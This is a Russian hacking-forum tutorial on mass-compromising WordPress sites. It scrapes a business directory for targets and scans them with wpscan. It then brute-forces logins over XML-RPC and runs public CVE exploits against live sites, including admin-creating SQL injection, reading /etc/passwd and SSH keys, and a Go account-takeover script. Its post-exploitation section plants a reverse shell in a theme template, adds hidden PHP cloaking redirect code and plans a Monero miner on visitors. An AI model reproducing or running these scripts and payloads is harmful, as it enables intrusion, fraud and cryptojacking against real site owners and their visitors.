What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Ломаем сайты на WordPress

miserylord

Light Weight
Депозит
$0
Автор: miserylord
Эксклюзивно для форума:
Стратегия

Существует две разные стратегии, с которыми можно подойти к решению задачи. Вертикальная и горизонтальная стратегии — это противоположные подходы к работе со взломом разных типов доступов.

Вертикальный взлом предполагает атаку на конкретные юниты или группу юнитов, например, поиск группы сайтов на WordPress по тематике или домену и попытка как-то воздействовать на них.

Горизонтальный взлом — это использование уязвимости для атаки на несколько целей с одинаковым уровнем привилегий. Например, найти уязвимость, 0-day или готовую CVE и применить ее для взлома множества сайтов — это пример горизонтальной стратегии.

Также необходимо четко определить цели, так как сам взлом — это не цель, а лишь абстракция, как "счастье". Сценарии постэксплуатации рассмотрим ниже.

Вертикальный взлом

В первую очередь нужно найти сайты. Где их искать? Один из способов я рассматривал в другой статье — поиск веб-ссылок по обратному DNS. Сегодня рассмотрим другой способ — парсинг ссылок из каталогов. Итак, ищем каталоги. Существуют и другие методы, например, поиск сайтов на WordPress через Shodan.

Отмечу также, что вертикальный взлом таким способом — не самая гениальная идея. Имеет смысл расширить спектр и работать со всеми найденными сайтами, не отсекая их по CMS, но для данной статьи сделаем акцент именно на WordPress.

Возьмем каталог europages[.]com, где размещены B2B компании. Попробуем спарсить их базу и затем проверим на уязвимые сайты WordPress.

Изучаем структуру сайта и делаем заметки:

  • Каталог размещается по следующей структуре: /en/cpp/A (буква) → /en/cpp/A/1 (буква + цифра) — до 100 страниц визиток.
  • На странице визитки есть кнопка Visit site.
  • Что происходит, если обратиться к странице с несуществующим номером? Отображается пустой блок визиток.
  • Текст, который нужно спарсить, находится между <a href=" и .html.

Пишем скрипт на Golang. На первом этапе парсим "ссылки-визитки".

C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "fmt"
 "io/ioutil"
 "log"
 "net/http"
 "os"
 "regexp"
 "time"
)

// 1
const (
 baseURL = "https://www.europages.co.uk/en/cpp"
 outputFile = "parsed_links.txt"
)

func main() {
 // 2
 file, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  log.Fatalf("Ошибка открытия файла: %v", err)
 }
 defer file.Close()

 // 3
 for letter := 'A'; letter <= 'Z'; letter++ {
  pageNumber := 1
  for {
   // 4
   url := fmt.Sprintf("%s/%c/%d", baseURL, letter, pageNumber)
   fmt.Printf("Парсинг URL: %s\n", url)

   // 5
   resp, err := http.Get(url)
   if err != nil {
    log.Printf("Ошибка запроса к %s: %v", url, err)
    break
   }
   defer resp.Body.Close()

   body, err := ioutil.ReadAll(resp.Body)
   if err != nil {
    log.Printf("Ошибка чтения ответа: %v", err)
    break
   }

   // 6
   re := regexp.MustCompile(`<a href="(/[^"]+\.html)"`)
   matches := re.FindAllStringSubmatch(string(body), -1)

   // 7
   if len(matches) == 0 {
    break
   }

   // 8
   for _, match := range matches {
    fullURL := "https://www.europages.co.uk/en" + match[1]
    _, err := file.WriteString(fullURL + "\n")
    if err != nil {
     log.Printf("Ошибка записи в файл: %v", err)
    }
   }

   // 9
   pageNumber++
   time.Sleep(1 * time.Second)
  }
 }
 fmt.Println("Парсинг завершен")
}


  1. В константах объявляем основную ссылку, а также имя файла, в который будут сохранены результаты.
  2. Открываем файл parsed_links.txt для дальнейшей работы.
  3. Запускаем цикл по буквам алфавита.
  4. Формируем URL для текущей буквы и страницы.
  5. Отправляем HTTP-запрос и читаем ответ.
  6. Используем регулярное выражение для поиска ссылок.
  7. Проверяем наличие ссылок; если ссылок нет — переходим к следующей букве, прерывая итерацию.
  8. Записываем найденные ссылки в файл.
  9. Переходим к следующей странице с задержкой, добавляя паузу перед следующим запросом для избежания перегрузки.

Получаем более 11 тысяч внутренних ссылок.

Изучаем страницу и обнаруживаем, что перед ссылкой на сайты находится элемент с определенными классами — <a`class`="btn btn--subtle btn--md website-button">. Скрипт будет работать без использования горутин, хотя их можно было бы использовать для ускорения. Однако я выберу стратегию, при которой минимизируются риски блокировки, добавив задержку между запросами.
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bufio"
 "io/ioutil"
 "log"
 "math/rand"
 "net/http"
 "os"
 "regexp"
 "strings"
 "time"
)

// 1
const (
 inputFile = "parsed_links.txt"
 outputFile = "website_links.txt"
 targetClass = `<a class="btn btn--subtle btn--md website-button" href="([^"]+)"`
)

func main() {
 file, err := os.Open(inputFile)
 if err != nil {
  log.Fatalf("Ошибка открытия файла %s: %v", inputFile, err)
 }
 defer file.Close()

 output, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  log.Fatalf("Ошибка открытия выходного файла %s: %v", outputFile, err)
 }
 defer output.Close()

 // 2
 re := regexp.MustCompile(targetClass)

 // 3
 scanner := bufio.NewScanner(file)
 for scanner.Scan() {
  originalLink := scanner.Text()
  log.Printf("Начало обработки ссылки: %s", originalLink)

  // 4
  modifiedLink := strings.Replace(originalLink, "/en/", "/", 1)
  log.Printf("Модифицированная ссылка: %s", modifiedLink)

  // 5
  delay := time.Duration(rand.Intn(3)+1) * time.Second
  log.Printf("Задержка перед запросом: %v", delay)
  time.Sleep(delay)

  // 6
  resp, err := http.Get(modifiedLink)
  if err != nil {
   log.Printf("Ошибка запроса к %s: %v", modifiedLink, err)
   continue
  }
  defer resp.Body.Close()
  log.Printf("Успешный запрос к %s", modifiedLink)

  body, err := ioutil.ReadAll(resp.Body)
  if err != nil {
   log.Printf("Ошибка чтения ответа от %s: %v", modifiedLink, err)
   continue
  }
  log.Printf("Чтение HTML содержимого выполнено для %s", modifiedLink)

  // 7
  matches := re.FindStringSubmatch(string(body))
  if len(matches) > 1 {
   websiteLink := matches[1]
   log.Printf("Найдена ссылка с нужным классом: %s", websiteLink)

   _, err := output.WriteString(websiteLink + "\n")
   if err != nil {
    log.Printf("Ошибка записи в файл %s: %v", outputFile, err)
   } else {
    log.Printf("Ссылка успешно сохранена в файл: %s", websiteLink)
   }
  } else {
   log.Printf("Ссылка с нужным классом не найдена на странице %s", modifiedLink)
  }
 }
 if err := scanner.Err(); err != nil {
  log.Fatalf("Ошибка чтения из файла %s: %v", inputFile, err)
 }
 log.Println("Парсинг завершен")
}

  1. Объявляем регулярное выражение, чтобы получить чистые ссылки, и добавляем новый текстовый файл для сохранения этих ссылок.
  2. Компилируем регулярное выражение.
  3. Читаем файл с исходными ссылками построчно.
  4. Убираем /en/ из ссылки (в предыдущем скрипте была небольшая ошибка при формировании ссылки, исправляем ее в этом скрипте).
  5. Делаем случайную задержку от 1 до 3 секунд перед запросом.
  6. Делаем запрос к текущей модифицированной ссылке и читаем ответ.
  7. Ищем ссылку с нужным классом с помощью регулярного выражения и записываем ее в файл. Логируем весь процесс.

Получаем 10 900 ссылок. Далее нужно проверить, сколько из них использует WordPress. Чтобы проверить вручную, достаточно открыть исходный код страницы и в поиске по тексту вбить "generator". Это покажет, какая CMS используется, а также её версию.

Для автоматизации процесса я воспользуюсь утилитой WhatWeb, которая позволяет определить, какую CMS использует сайт, фактически являясь бесплатным аналогом Wappalyzer. Команда очень простая — whatweb https://example.com. Перейдём в IDE и напишем скрипт для автоматизации и ускорения проверки.
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bufio"
 "bytes"
 "log"
 "os"
 "os/exec"
 "sync"
)

const (
 inputFileName = "website_links.txt"
 goodFileName = "good.txt"
 badFileName = "bad.txt"
 maxGoroutines = 9 // 1
)

// 2
var (
 goodFileMutex sync.Mutex
 badFileMutex sync.Mutex
)

func main() {
 // 3
 sem := make(chan struct{}, maxGoroutines)

 // 4
 file, err := os.Open(inputFileName)
 if err != nil {
  log.Fatalf("Ошибка при открытии файла %s: %v", inputFileName, err)
 }
 defer file.Close()

 // 5
 var wg sync.WaitGroup
 scanner := bufio.NewScanner(file)

 // 6
 for scanner.Scan() {
  site := scanner.Text()

  wg.Add(1)
  sem <- struct{}{}


  go func(site string) {
   defer wg.Done()
   defer func() { <-sem }()

   checkWebsite(site)
  }(site)
 }

 wg.Wait()

 if err := scanner.Err(); err != nil {
  log.Fatalf("Ошибка при чтении файла %s: %v", inputFileName, err)
 }
}

// 7
func checkWebsite(site string) {
 cmd := exec.Command("whatweb", site)
 var out bytes.Buffer
 cmd.Stdout = &out

 if err := cmd.Run(); err != nil {
  log.Printf("Ошибка при запуске whatweb для сайта %s: %v", site, err)
  return
 }

 if bytes.Contains(out.Bytes(), []byte("WordPress")) {
  writeToFile(goodFileName, site)
 } else {
  writeToFile(badFileName, site)
 }
}

// 8
func writeToFile(fileName, site string) {
 var mutex *sync.Mutex
 if fileName == goodFileName {
  mutex = &goodFileMutex
 } else {
  mutex = &badFileMutex
 }

 mutex.Lock()
 defer mutex.Unlock()

 f, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  log.Printf("Ошибка при открытии файла %s: %v", fileName, err)
  return
 }
 defer f.Close()

 _, err = f.WriteString(site + "\n")
 if err != nil {
  log.Printf("Ошибка при записи в файл %s: %v", fileName, err)
 }
}


  1. Задаём количество параллельных горутин.
  2. Подключаем мьютексы для корректной записи в файл. Будет использоваться два мьютекса: один для записи успешных результатов, второй — для сайтов, которые используют другую CMS (либо хорошо скрывают WordPress).
  3. Создаём семафор для ограничения количества горутин.
  4. Открываем файл со списком сайтов.
  5. Создаём wait group для ожидания завершения всех горутин.
  6. Читаем файл построчно. Блокируем семафор. Запускаем горутины для проверки сайтов, затем освобождаем семафор после завершения горутины.
  7. Функция checkWebsite проверяет, использует ли сайт WordPress, и записывает результат в соответствующий файл. Сначала функция запускает команду whatweb для проверки сайта, затем анализирует вывод команды на наличие "WordPress". Если найдено, то сайт считается "good", если нет — "bad".
  8. Функция writeToFile записывает строку в указанный файл с использованием мьютекса для потокобезопасности.

Проверив 972 сайта, мы получим 347 сайтов, которые используют WordPress, или 35.8%. Невероятно!

Далее воспользуемся утилитой wpscan. wpscan — это узкоспециализированный сканер для WordPress. При анализе сайта с помощью этой утилиты мы получим информацию о версии WordPress, списки установленных плагинов, пользователей, готовность к брутфорс-атакам, конфигурационные файлы. Под капотом не происходит практически никакой магии, в основном используется фаззинг, и все, что делает утилита, можно повторить вручную.

Возьмем, к примеру, список пользователей, который может быть найден по адресу /wp-json/wp/v2/users. Это очень старая уязвимость, описанная еще в 2018 году, и в базе Exploit DB она числится под GHDB-ID 4944 как Google-дорка. Она все еще актуальна — достаточно выполнить запрос inurl:/wp-json/wp/v2/users/. Большинство сайтов будут взломаны до нас, но есть и такие, где можно посмотреть сам файл в поле JSON "slug", которое раскрывает имена пользователей.

Или возьмем еще более старую уязвимость, описанную в дорке с GHDB-ID 4039, которой уже почти десять лет! Задаем в поиске inurl:wp-config.php. Файл wp-config.php содержит чувствительную информацию, включая имя, хост, юзернейм и пароль от базы данных. Используя эти данные, можно подключиться к базе данных и получить имена пользователей и хеши паролей. Кроме того, файл содержит настройки для секретных ключей и соли, которые WordPress использует для обеспечения безопасности сессий пользователей. Насколько мне удалось узнать, они используются для шифрования cookies и других данных сессий. Безопасность сессионных данных на сайте зависит от этих ключей. Теоретически они позволяют подделать cookies и получить доступ к учетным записям без паролей, просто используя cookies. Однако, не уверен, что это точно.

Для обнаружения подобных файлов необходимо внимательно изучать компоненты WordPress и методом перебора всех вариантов находить интересные файлы или директории.

В общем, WordPress состоит из ядра + набора плагинов и тем, которые разрабатываются сторонними разработчиками:

  • Плагины — это расширения, которые добавляют функциональность сайту, например, формы обратной связи, SEO-оптимизацию, безопасность, интеграцию с социальными сетями и многое другое. Пример плагина — WooCommerce (для создания интернет-магазинов) или Yoast SEO (для улучшения SEO).
  • Темы — это визуальный стиль и оформление сайта WordPress. Тема управляет внешним видом сайта, его макетом, цветами, шрифтами, изображениями и другими элементами дизайна. Каждая тема состоит из набора шаблонов (PHP-файлов), стилей (CSS), изображений и других ресурсов.

Именно в плагинах и темах чаще всего встречаются ошибки, поскольку их могут разрабатывать любые разработчики.

Вернемся к нашему сканеру. Для запуска используем команду:

wpscan --url https://example.com --enumerate vp,vt,u,dbe --api-token API_TOKEN --random-user-agent --plugins-detection mixed --force --ignore-main-redirect

Подробнее о флагах:

  • --url — указывает целевой URL-адрес для сканирования.
  • --enumerate — указывает, какие элементы необходимо перечислить:
  • - vp — ищет уязвимые плагины.
  • - vt — ищет уязвимые темы.
  • - u — ищет пользователей WordPress.
  • - dbe — ищет уязвимости в базе данных WordPress.
  • --api-token — для получения полного лога и моментальных сообщений об уязвимостях нужен API-токен. Его можно получить на официальном сайте WPScan. Дейли-ключ даёт 25 бесплатных сканов, однако сайт отправляет токены на временные почты, поэтому можно получить несколько десятков ключей или оплатить использование для получения большего объема информации.
  • --random-user-agent — использует случайный User-Agent при отправке HTTP-запросов.
  • --plugins-detection — устанавливает метод обнаружения плагинов. Опция **mixed** использует как пассивные методы (анализ кода сайта), так и активные методы (сканирование конечных точек).
  • --force — принудительно выполняет сканирование, игнорируя предупреждения.
  • --ignore-main-redirect — игнорирует перенаправления основного URL.

WPScan поддерживает многопоточное сканирование. Мы можем написать скрипт, который будет сохранять результаты в текстовые файлы, создавая для каждого сайта отдельную директорию. Учтите, что вывод одного сканирования может занимать некоторое время.
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bufio"
 "bytes"
 "fmt"
 "log"
 "os"
 "os/exec"
 "path/filepath"
 "sync"
)

const (
 inputFileName = "good2.txt"
 apiKey  = ""
 maxGoroutines = 20
)

func main() {
 sem := make(chan struct{}, maxGoroutines)

 file, err := os.Open(inputFileName)
 if err != nil {
  log.Fatalf("Ошибка при открытии файла %s: %v", inputFileName, err)
 }
 defer file.Close()

 var wg sync.WaitGroup
 scanner := bufio.NewScanner(file)

 for scanner.Scan() {
  site := scanner.Text()
  wg.Add(1)
  sem <- struct{}{}

  go func(site string) {
   defer wg.Done()
   defer func() { <-sem }()
   runWpscan(site)
  }(site)
 }

 wg.Wait()

 if err := scanner.Err(); err != nil {
  log.Fatalf("Ошибка при чтении файла %s: %v", inputFileName, err)
 }
}

func runWpscan(site string) {
 dirName := fmt.Sprintf("logs/%s", sanitizeDirName(site))
 err := os.MkdirAll(dirName, os.ModePerm)
 if err != nil {
  log.Printf("Ошибка при создании директории %s: %v", dirName, err)
  return
 }

 logFileName := filepath.Join(dirName, "wpscan_log.txt")

 cmd := exec.Command(
  "wpscan",
  "--url", site,
  "--enumerate", "vp,vt,u,dbe",
  "--api-token", apiKey,
  "--random-user-agent",
  "--plugins-detection", "mixed",
  "--force",
 )

 var out bytes.Buffer
 cmd.Stdout = &out
 cmd.Stderr = &out

 err = cmd.Run()
 if err != nil {
  log.Printf("Ошибка при запуске wpscan для сайта %s: %v", site, err)
 }

 err = os.WriteFile(logFileName, out.Bytes(), 0644)
 if err != nil {
  log.Printf("Ошибка при сохранении лога для сайта %s: %v", site, err)
  return
 }

 log.Printf("Сканирование завершено для сайта %s, лог сохранён в %s", site, logFileName)
}

func sanitizeDirName(site string) string {
 invalidChars := []string{":", "/", "\\", "*", "?", "\"", "<", ">", "|"}
 for _, char := range invalidChars {
  site = string(bytes.ReplaceAll([]byte(site), []byte(char), []byte("_")))
 }
 return site
}


Функция sanitizeDirName заменяет символы, которые не подходят для имен файлов. В остальном код похож на тот, который использовался для проверки CMS.

Очень быстро вы обнаружите, что многие найденные CVE будут требовать авторизации. Это не обязательно должен быть аккаунт с правами администратора, но в любом случае возникает вопрос: как получить доступ к аккаунту? Ответ довольно тривиален — использовать атаку брутфорсом!

Особенность брутфорс-атаки на WordPress заключается в том, что зачастую она не происходит через веб-форму, а через протокол XML-RPC. Чтобы проверить, поддерживает ли конкретный ресурс XML-RPC, необходимо сделать запрос на https://example.com/xmlrpc.php.

XML-RPC — это протокол, который позволяет удаленно взаимодействовать с сайтом WordPress. Через XML-RPC можно отправлять запросы на выполнение различных операций, включая вход в систему. XML-RPC использует XML-формат для обмена данными и отправляется через HTTP POST-запросы.

Особенность техники заключается в том, что обычный брутфорс через веб-страницу проверяет одну комбинацию логина и пароля, имеет лимит на количество попыток входа и блокировку по IP-адресу, а также зависит от доступности страницы входа. Тогда как брутфорс через XML-RPC использует возможность протокола для отправки множества запросов в одном, может обходить ограничения на количество попыток входа, активирован по умолчанию на большинстве сайтов (если не выключен администратором) и может быть сложнее для обнаружения.

Итак, напомню, что список пользователей может быть доступен через /wp-json/wp/v2/users/. Slug — это и есть имя пользователя в системе.

Для брутфорса потребуется словарь, который можно найти на GitHub:

- SecLists/Passwords/Honeypot-Captures/Sucuri-Top-Wordpress-Passwords.txt

- wpxmlrpcbrute/wordlists/1000-most-common-passwords.txt

- rockyou.txt

Вводим команду:

wpscan --url https://example.com --passwords /path/to/passwords.txt --usernames admin --xmlrpc

В которой указываем имя пользователя, путь к файлу с паролями, тип атаки по умолчанию xmlrpc.

Горизонтальный взлом

Разберем несколько CVE и механизмы их работы.

Принцип работы горизонтального взлома заключается в поиске уязвимостей, дальнейшем поиске уязвимых сайтов и их непосредственном взломе путем использования ранее найденной уязвимости.

Начнем с CVE-2024-27956. Это критическая уязвимость, не требующая авторизации, поэтому в первую очередь мы постараемся разобраться, почему она возникла и как именно работает, а затем попробуем свои силы на реальных ресурсах, поскольку, вероятно, эта уязвимость уже привлекла внимание других исследователей.

Суть уязвимости связана с возможностью SQL-инъекции в плагине "wp-automatic". Этот плагин предназначен для автоматической публикации контента на сайте. Обычно статистика установок доступна в официальном каталоге плагинов, но данный плагин является платным, и мне не удалось найти данные о числе сайтов, использующих его. Однако на одном из сайтов указано, что у плагина более 40 тысяч покупок. В плагинах с количеством установок менее 50 тысяч обычно больше уязвимостей, так как они не попадают под программу баг-баунти от WordPress.

Находим эксплойт, написанный на Python: GitHub - diego-tella/CVE-2024-27956-RCE: PoC for SQL Injection in CVE-2024-27956.

Уязвимость возникает из-за недостаточной проверки входных данных на сервере в скрипте csv.php, который входит в состав плагина wp-automatic. Это позволяет выполнить произвольный SQL-код. В коде используется значение b'\0' (нулевой байт), которое обходит примитивные проверки на авторизацию. Сервер не проверяет, авторизован ли пользователь для выполнения запросов, а полагается на хэш, который в данном случае не привязан к пользователю и его сессии. Функция makeRequest выполняет запрос на сервер, внедряя SQL-пейлоад. При первом вызове скрипта он добавляет нового пользователя "eviladmin" в таблицу wp_users, а при втором вызове вставляет запись в таблицу wp_usermeta, предоставляя пользователю "eviladmin" роль администратора.

Проверяем сам скрипт на наличие "закладок". Обращаю внимание, что после первого запроса есть проверка if "DATE" not in response.text; это может быть довольно слабым местом, и возможно имеет смысл проверять по коду ответа, хотя такая проверка может быть наиболее корректной. Также хеши могут быть невалидными, но явных "закладок" в скрипте я не заметил, и визуально все выглядит нормально.

Ищем сайты. В некоторых более старых PoC CVE на GitHub можно обнаружить дорки для поисковых систем и понять, как составить их для других CVE. Составляем дорку для Fofa. Если речь идет об уязвимости в плагинах, то шаблон будет следующим: body="/wp-content/plugins/PLUGIN_NAME". Подставляем наш плагин и получаем body="/wp-content/plugins/wp-automatic".

Следуем инструкции с GitHub, проверяем цели, и довольно скоро понимаем, что эксплойт работает.



Проверяем сайт и видим, что там все немного сложнее. Не буду вдаваться в подробности, но на сервере есть определенная защита. Впрочем, можно с уверенностью сказать, что эксплойт работает.

Ещё одна из критических уязвимостей в плагинах, связанная с SQL-инъекциями, — CVE-2024-1071. Она позволяет получить доступ к базе данных. Находим эксплоит на GitHub, чтобы понять, как именно он работает: CVE-2024-1071-SQL-Injection/CVE-2024-1071.py at main · fa-rrel/CVE-2024-1071-SQL-Injection · GitHubb.

Функция check_version проверяет версию плагина и запускает дальнейший код только для диапазона уязвимых версий плагина. Далее вызывается get_nonce. Nonce — это одноразовый токен безопасности, который плагин использует для защиты от CSRF-атак. Функция пытается получить его из кода страницы /index.php/register/.

Функция get_directory_id предназначена для поиска валидного идентификатора директории (directory ID) в уязвимом плагине Ultimate Member. Этот ID необходим для успешной эксплуатации уязвимости через SQL-инъекцию. Если все проверки пройдены, функция выводит успешный результат и команду для Sqlmap.

Дорку для Fofa берём из репозитория. Количество результатов — более 90 тысяч. Проверяем на 10 сайтах. В скрипте необходимо немного исправить переменную ascii_art. Из 10 сайтов уязвимость обнаруживается на двух.

Пойдем дальше и рассмотрим CVE другого типа — CVE-2024-27954. Это также уязвимость в плагине, и снова в wp-automatic. Она позволяет перемещаться по директориям, используя доверенный плагин, тем самым являясь SSRF-уязвимостью.

Находим эксплойт — GitHub - Quantum-Hacker/CVE-2024-27954. Обнаруживаем, что он написан под Nuclie, о котором я упоминал в этой статье. Всё, что делает эксплойт, это обращается по URL: example.com/p=3232&wp_automatic=download&link=file:///etc/passwd и проверяет, реально ли мы получаем необходимый файл. Насколько я понимаю, такие уязвимости можно обнаружить фазингом.

Если вы не хотите скачивать Nuclie, можно переписать скрипт на Go, он будет выглядеть примерно так:
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bufio"
 "fmt"
 "net/http"
 "os"
 "regexp"
 "strings"
 "time"
)

func main() {
 urlFile, err := os.Open("urls.txt")
 if err != nil {
  fmt.Printf("Ошибка открытия файла urls.txt: %v\n", err)
  return
 }
 defer urlFile.Close()

 resultFile, err := os.OpenFile("good.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  fmt.Printf("Ошибка открытия файла good.txt: %v\n", err)
  return
 }
 defer resultFile.Close()

 scanner := bufio.NewScanner(urlFile)
 client := &http.Client{Timeout: 10 * time.Second}

 vulnRegex := regexp.MustCompile(`root:.*:0:0:`)

 for scanner.Scan() {
  url := strings.TrimSpace(scanner.Text())
  if url == "" {
   continue
  }

  testURL := fmt.Sprintf("%s/?p=3232&wp_automatic=download&link=file:///etc/passwd", url)

  resp, err := client.Get(testURL)
  if err != nil {
   fmt.Printf("Ошибка запроса для %s: %v\n", url, err)
   continue
  }
  defer resp.Body.Close()

  body := make([]byte, resp.ContentLength)
  _, err = resp.Body.Read(body)
  if err != nil {
   fmt.Printf("Ошибка чтения ответа для %s: %v\n", url, err)
   continue
  }

  if strings.Contains(string(body), `"link":"file:`) && vulnRegex.Match(body) {
   fmt.Printf("Уязвимость найдена: %s\n", url)

   _, err := resultFile.WriteString(fmt.Sprintf("id: vulnerable %s\n", url))
   if err != nil {
    fmt.Printf("Ошибка записи результата для %s: %v\n", url, err)
   }
  }

  time.Sleep(2 * time.Second)
 }

 if err := scanner.Err(); err != nil {
  fmt.Printf("Ошибка чтения файла urls.txt: %v\n", err)
 }
}

Далее идем в Fofa, проверяем ссылки вручную. На первой ссылке нас блокирует фаервол, а на второй — мы видим файл. Мы также можем открывать другие файлы в директориях. Файл /etc/passwd содержит информацию о пользователях системы. Пользователи, у которых указан shell, могут иметь доступ к системе через SSH. Также можно попробовать получить SSH-ключи, подставив в строку file:///home/user/.ssh/id_rsa. Имена пользователей можно использовать для брутфорс-атаки на SSH/FTP-сервисы, используя, например, Hydra. Подробнее об этом я писал в этой статье.

Не все PoC будут настолько очевидными. Возьмем совсем свежую CVE-2024-50483 и откроем PoC на GitHub: GitHub - RandomRobbieBF/CVE-2024-50483: Meetup <= 0.1 - Authentication Bypass via Account Takeover.

Суть уязвимости заключается в обходе аутентификации и захвате учетной записи пользователя. Проблема в том, что функция facebook_register() позволяет обойти традиционные механизмы аутентификации. Обычно для входа в систему пользователь должен предоставить действительные учетные данные (например, пароль) для подтверждения своей личности. В данном случае плагин этого не делает, полагаясь только на адрес электронной почты.

Однако проблема в том, что по описанию уязвимости вообще неясно, о каком плагине идет речь. Я не нашел плагина Meetup версии около 0.1. Вероятнее всего, речь идет о плагине Import Meetup Events, хотя его версия совсем другая. Тем не менее, похоже, что в нем может быть метод facebook_register(). Попробуем составить поиск: body="wp-content/plugins/import-meetup-events". Иногда email-адреса можно обнаружить в уже знакомой нам директории /wp-json/wp/v2/users, но это происходит не всегда. На одном из сайтов с вероятностью 99.9% удалось найти email администратора, используя данные из LinkedIn. Напишем эксплойт под CVE:
C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bytes"
 "fmt"
 "io/ioutil"
 "log"
 "net/http"
 "net/url"
)

func exploit(urlTarget, email string) {
 // 1
 data := url.Values{}
 data.Set("action", "meetup_fb_register")
 data.Set("email", email)
 data.Set("first_name", "Test")
 data.Set("last_name", "User")
 data.Set("id", "12345678901234567890")
 data.Set("type", "token")
 data.Set("link", "https://example.com/user/test/")

 // 2
 client := &http.Client{}
 req, err := http.NewRequest("POST", urlTarget+"/wp-admin/admin-ajax.php", bytes.NewBufferString(data.Encode()))
 if err != nil {
  log.Fatalf("Ошибка создания запроса: %v", err)
 }

 // 3
 req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
 req.Header.Set("Content-Length", fmt.Sprintf("%d", len(data.Encode())))

 resp, err := client.Do(req)
 if err != nil {
  log.Fatalf("Ошибка отправки запроса: %v", err)
 }
 defer resp.Body.Close()

 body, err := ioutil.ReadAll(resp.Body)
 if err != nil {
  log.Fatalf("Ошибка чтения ответа: %v", err)
 }

 fmt.Printf("Ответ сервера: %s\n", string(body))

 // 4
 if resp.StatusCode == http.StatusOK {
  fmt.Printf("Успешный вход под пользователем с email: %s\n", email)
 } else {
  fmt.Printf("Не удалось выполнить вход для пользователя с email: %s\n", email)
 }
}

func main() {
 targetURL := ""
 email := ""
 exploit(targetURL, email)
}

  1. Сформируем POST-запрос с необходимыми параметрами.
  2. Отправим POST-запрос.
  3. Установим необходимые заголовки.
  4. Проверим, содержит ли ответ подтверждение успешного входа.

Запускаю скрипт, но не получаю успешного ответа. В итоге я даже не уверен, что речь идет об этом плагине. Оставим эту CVE.

Ну и в завершение рассмотрим CVE, которая приводит к возможности удаленного исполнения кода (RCE). CVE-2024-25600 — уязвимость, затрагивающая плагин Bricks Builder. Она позволяет внедрять и выполнять PHP-код. Эксплойт и подробное описание уязвимости можно найти на GitHub: GitHub - K3ysTr0K3R/CVE-2024-25600-EXPLOIT: A PoC exploit for CVE-2024-25600 - WordPress Bricks Builder Remote Code Execution (RCE).

Изучив код, становится понятно, что API плагина принимает запросы от клиента и обрабатывает их без надлежащей проверки. Также, согласно эксплойту, nonce, который используется для защиты от CSRF-атак, можно получить через JavaScript, загружаемый на веб-страницу. Функция fetch_nonce выполняет именно эту задачу. Далее эксплойт открывает шелл и выполняет произвольную команду, анализируя ответ на успешность эксплуатации. В скрипте также реализованы техники многопоточного программирования, позволяющие конкурентно обрабатывать ссылки.

Однако возникает вопрос: какой код вообще можно выполнить, получив доступ к административной панели WordPress-сайта или серверу, на котором запущен сайт на WordPress?

Постэксплуатация

Если уязвимость позволяет выполнить код удаленно, то она может подразумевать возможность открытия шелла. Шелл — это терминал на удаленной машине. Например, в Metasploit есть эксплойт для старой уязвимости CVE-2019-8943. Его код можно найти на сайте Exploit-DB — WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) - PHP remote Exploit. Дорка для Fofa: app="WordPress-5.0", и уязвимость всё ещё используется несколькими сотнями сайтов. Открыв шелл через Metasploit, можно попасть на сервер, а затем найти креды в ранее знакомом файле wp-config.php, к которому мы получили доступ через Google-дорку. Далее можно сделать всё, что можно сделать с сервером, например, повысить привилегии.

Но для этого вовсе не обязательно использовать Metasploit. Мы можем самостоятельно открыть реверс-шелл. Для этого нужно войти в админ-панель WordPress, перейти в раздел Appearance и отредактировать шаблоны, добравшись до PHP-кода страницы (например, можно взять страницу 404). Затем нужно добавить туда код реверс-шелла, который можно взять с этого сайта: Reverse Shell Cheat Sheet | pentestmonkey, заменив IP-адрес на адрес машины, на которой хотите принять подключение. После этого нужно открыть страницу 404 на сайте, а на машине-реципиенте запустить Netcat.

Также через админ-панель можно внести изменения во внешний вид сайта, заменив его полностью или частично.

Еще один вид пост-эксплуатации — это установка 301 редиректа. 301 редирект — это простое перенаправление на другую страницу. Пользователь нажимает на ссылку в поиске, но его перенаправляют на другой сайт. Это можно сделать разными способами; существует множество плагинов для этого, но лучший способ — изменить код шаблона в файле functions.php. Мы сделаем простой клоакинг в рамках этого PHP-скрипта. Поисковых роботов можно идентифицировать по user-agent, а для сокрытия скрипта от администратора можно определить его по IP-адресу. Эти метки можно расширять, тем самым продлевая жизнь скрытому коду.
PHP: Скопировать в буфер обмена
Code:
function custom_redirect_non_bots_or_ip() {

 $allowed_ip = '190.112.103.215';

 $user_ip = $_SERVER['REMOTE_ADDR'];

 $bots = array(
  'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'YandexBot', 'Baiduspider', 'Sogou', 'Facebookexternalhit'
 );

 $is_bot = false;
 foreach ($bots as $bot) {
  if (strpos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) {
   $is_bot = true;
   break;
  }
 }

  if (!$is_bot && $user_ip !== $allowed_ip) {
  wp_redirect('https://www.example.com', 301);
  exit();
 }
}

add_action('template_redirect', 'custom_redirect_non_bots_or_ip');


В заключение расскажу о еще одном возможном варианте — установке майнера. Установить его проще всего, используя один из множества плагинов, хотя в идеале стоит внедрить кастомный JavaScript-скрипт, а также самописный бэкенд для поддержки множества заражённых сайтов. В качестве криптовалюты можно выбрать Монеро, так как она использует подход Proof of Work с демократичным специальным алгоритмом.

По расчётам, если на сайте в день около 10 тысяч пользователей, средняя вычислительная мощность одного компьютера при майнинге Monero (с использованием алгоритма RandomX) может составлять от 2 до 8 хешей в секунду (H/s) в зависимости от мощности процессора. Для простоты примем среднее значение мощности: 4 H/s. Считаем, что каждый посетитель в среднем будет тратить 1 минуту на страницу с майнером. За одну минуту один посетитель генерирует 4 хеша в секунду × 60 секунд = 240 хешей.

